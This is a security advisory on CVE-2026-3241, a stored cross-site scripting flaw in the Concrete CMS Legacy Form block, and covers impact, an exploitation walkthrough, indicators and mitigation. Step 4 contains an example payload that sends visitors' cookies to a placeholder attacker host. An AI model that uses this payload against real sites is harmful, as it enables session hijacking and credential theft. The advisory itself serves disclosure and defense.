CVE-2026-3241: 
PHP vulnerability analysis and mitigation

CVE-2026-3241 is a stored cross-site scripting (XSS) vulnerability in the "Legacy Form" block of Concrete CMS. It affects all versions of Concrete CMS below 9.4.8 and was disclosed on March 4, 2026. An authenticated user with form creation or editing permissions can inject a persistent JavaScript payload into multiple-choice question options (Checkbox List, Radio Buttons, or Select Box), which then executes in the browser of any user viewing the affected page. The vulnerability carries a CVSS v3.1 score of 4.8 (Medium) and a CVSS v4.0 score of 4.8 (Medium) as assigned by the Concrete CMS security team (Feedly, ConcreteCMS PR).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from insufficient sanitization of user-supplied input in the Legacy Form block's multiple-choice question option fields (Feedly). An authenticated attacker with high privileges (e.g., an administrator or form editor) can craft a malicious JavaScript payload and embed it into the options of a Checkbox List, Radio Buttons, or Select Box field within a Legacy Form block. Because the payload is stored server-side and rendered without proper escaping, it executes in the browser of any visitor who loads the page containing the form. Exploitation requires user interaction (a victim visiting the page) but no special configuration beyond having a vulnerable form published on the site (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all users who view the page containing the malicious form, potentially enabling session hijacking, credential theft, phishing, or malware distribution. The integrity impact is classified as Low, with no direct confidentiality or availability impact on the server itself. However, client-side attacks against form viewers can escalate to account takeover or further compromise depending on the privileges of affected users (Feedly).

A proof-of-concept is referenced via the Concrete CMS GitHub pull request #12826, which contains the fix (ConcreteCMS PR). There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.035% (0.000350), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was reported by researcher M3dium (Feedly).

1. Reconnaissance: Identify a target Concrete CMS installation running a version below 9.4.8 that has the Legacy Form block enabled and publicly accessible pages containing forms.
2. Obtain authenticated access: Log in with an account that has permissions to create or edit Legacy Form blocks (e.g., an administrator or privileged editor account).
3. Navigate to form editing: Access the CMS admin panel and open or create a Legacy Form block on a page.
4. Inject malicious payload: In a multiple-choice question field (Checkbox List, Radio Buttons, or Select Box), insert a JavaScript payload as an option value, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
5. Publish the form: Save and publish the page containing the modified form, making the payload persistent in the database.
6. Trigger execution: Any user (including unauthenticated visitors) who loads the page with the form will have the injected JavaScript execute in their browser, enabling session hijacking, credential theft, or other client-side attacks (Feedly, ConcreteCMS PR).

• Logs: CMS audit logs showing unexpected edits to Legacy Form blocks, particularly changes to multiple-choice question option fields by administrator or editor accounts; access logs showing repeated page loads of form-containing pages from diverse IPs shortly after a form edit.
• File System / Database: Database entries in the Concrete CMS blocks table containing <script> tags or JavaScript event handlers (e.g., onerror, onload) within form option fields.
• Network: Outbound requests from victim browsers to external domains immediately after loading a CMS page with a Legacy Form block; unusual POST or GET requests to attacker-controlled infrastructure carrying cookie or session data.
• Browser/Client: Unexpected redirects or pop-ups experienced by users viewing pages with Legacy Form blocks; browser developer console errors referencing injected script content.

Upgrade Concrete CMS to version 9.4.8 or later, which contains the fix merged via pull request #12826 on March 3, 2026 (ConcreteCMS PR, ConcreteCMS Release Notes). As an interim measure, restrict form creation and editing permissions to only fully trusted administrators and audit existing Legacy Form blocks for suspicious JavaScript in multiple-choice option fields. Implementing a Content Security Policy (CSP) header on the site can reduce the impact of any stored XSS payloads that may already exist.

The vulnerability was reported by security researcher M3dium and acknowledged by the Concrete CMS security team, who assigned the CVSS scores and coordinated the fix (Feedly). Coverage appeared on security aggregators including INCIBE-CERT, ENISA EUVD, and GitLab Advisories shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified.